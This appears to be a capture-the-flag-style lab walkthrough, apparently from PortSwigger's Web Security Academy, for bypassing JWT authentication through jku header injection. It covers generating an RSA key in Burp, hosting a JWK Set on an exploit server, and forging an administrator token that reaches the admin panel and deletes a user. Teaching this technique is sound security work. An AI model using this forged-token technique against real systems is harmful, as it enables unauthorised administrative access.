JWT authentication bypass via jku header injection
Description
This lab uses a JWT-based mechanism for handling sessions. The server supports the jku
parameter in the JWT header. However, it fails to check whether the provided URL belongs to a trusted domain before fetching the key.
Reproduction and proof of concept
Upload a malicious JWK Set
In Burp, load the JWT Editor extension from the BApp store.
In the lab, log in to your own account and send the post-login
GET /my-account
request to Burp Repeater.In Burp Repeater, change the path to
/admin
and send the request. Observe that the admin panel is only accessible when logged in as the administrator user.Go to the JWT Editor Keys tab in Burp’s main tab bar.
Click New RSA Key.
In the dialog, click Generate to automatically generate a new key pair, then click OK to save the key. Note that you don’t need to select a key size as this will automatically be updated later.
{
"p": "6U8QUkjEgY_xfM0mVnsw-2XZCcXNRI6M-EAqyMJSgUN0AKp6TVwgrcloFj_7VSxHicbc6sXTpQW70iAax6U9wOJWkLhAMUDF_UQ8EeYENKPEakqVJEAOIicSZmB7wV_fYkSfnr64RljApyXSN4O_0kdWxWcgB5Tcuxw3lXqe1-s",
"kty": "RSA",
"q": "3HG-c-3y47tWuGIM8KIZY9gbiDXII8IKSCFVxPk7cRMrpueNDgp5-A18JuXWda4tBE1saXDFAaOXAyuAn9FdmseMxYrQkXzlK6u0j8rtzXzq8RVwgRtfXrosWzhoJJyH9cSBYo-tnX6077tgswmKOu-OviJBvyqmm6D3FrjsBB8",
"d": "Tu2Gznhl1TPU1TaJcj8As6p79W2u3lAjJWv97HrtK-eRRbwm8O88dpeqtik1BBl1OiXTWv-08CTNCF9UBeG-_VsqZ0BaRtnppYeVlgzlGUlNm7-JhjTVXWitODzGopAEGt5SUUgTzau8-lVt1st69YG1_RNrGL7MuVX-B3akpicYTbJxWLzmATRyzeTz8yxAcLH1yXF8428hIlNw59ocplRavjF2mM4_VJxN11UfEBkyaDxm5UnFqSLkaDx5kkfzx56urPCpvsnWq78zFV-k2avEd1R_10API90iU3hbximcEhmBtCJHIPq3JPiU6iShML3Nkg7o6rcb4VfjCcIdBQ",
"e": "AQAB",
"kid": "8af37de4-0f37-4997-be5f-8260eb1a7f6b",
"qi": "I9Lj-UdZ_khdA9YPNYlBOQK84qRL7wYVUw2ZVAK6jdKKX2Eqsr7okHPg6uaAGlxex0F9ZunVK2BnfK-ETpkNkrA_6GOyHJj3Ui35YTkDaHQy6FEaX2DIkTsBtVC2TZ2Q50Yl7wFoVowd7krE0rM_nCGl5DcT7JWnYqfSB4JpNKM",
"dp": "SWN0Z9256mNj-_TwNU3k939vCRLuYb1RfJl6m9H8b-rO55K4i_MJ2IC9PBp-LamTCzTBsxvtWkB2dz9gDSLeTPklb7p1fsi4PtWi66Jl-kT1eNXjGhcIGxgdQpTg-M_2jYu2hhHKF169oxZTjODlivijw86PlbLux_C1T1DV_Gc",
"dq": "m_g6WUnVHX2x-Nke8K6wKi2AJVpwFaS3o5s6VRhGD1YR_5A7A-EztObNnbPmjfLDVRT2jI_GQ8ecFBkWc30trlJb7nSt5xIoD0L4iPh6UnZ8wEB8DkzwqFQvCAeb37OEmsYDCVpA63r3x9qaq3InhFV0eGBChmBF6zzzNfd2vd8",
"n": "yOebf0BX83Le6RNJLXkvAbtezgNxdV259TGE5EH_XzXunOSxjSQtHoQdSkND-QZYyUZXU6kE0iF6wcBFGGhUYu73JR_XqeV1F5ElzypMcV99mWulBRWaByjIOC1ocZMISo5f02Zpq7MReGwuN4Ow-80B_IiyYJqvu3XyRfwfliwN4wnioeIq4Woc94SCgTBbiGRVUzke59KWIg1gmEHg4g2VhQFt0VbyqrYq_QX8lHrN3gau1vtkvTHq6ZlBK7ZQWrKHuWOw_MMbZBJi1nyvKs2VsPJwHEJsuY5ID6e02nFKA2XJxYOK2GHp4UQJaXXfkfvCWsOxoCnPEpHWST_RdQ"
}
In the browser, go to the exploit server.
Replace the contents of the Body section with an empty JWK Set:
{
"keys": [
]
}
Back on the JWT Editor Keys tab, right-click on the entry for the key that you just generated, then select Copy Public Key as JWK.
Paste the JWK into the keys array on the exploit server, then store the exploit. The result should look something like this:
Modify and sign the JWT
Go back to the
GET /admin
request in Burp Repeater and switch to the extension-generated JSON Web Token message editor tab.In the header of the JWT, replace the current value of the
kid
parameter with thekid
of the JWK that you uploaded to the exploit server.Add a new
jku
parameter to the header of the JWT. Set its value to the URL of your JWK Set on the exploit server.
{
"kid": "8af37de4-0f37-4997-be5f-8260eb1a7f6b",
"alg": "RS256",
"jku": "https://exploit-0a7b002e04e9fa4dc1f30ce501ad00df.exploit-server.net/.well-known/jwks.json"
}
In the payload, change the value of the
sub
claim toadministrator
.
{
"iss": "portswigger",
"sub": "administrator",
"exp": 1677593837
}
At the bottom of the tab, click Sign, then select the RSA key that you generated in the previous section.
Make sure that the
Don't modify header
option is selected, then click OK. The modified token is now signed with the correct signature.Send the request. Observe that you have successfully accessed the admin panel.
In the response, find the URL for deleting Carlos (
/admin/delete?username=carlos
).
Send the request to this endpoint to solve the lab.
Exploitability
An attacker will need to log in to wiener:peter
; forge a JWT that gives access to the admin panel at /admin
; then delete the user carlos.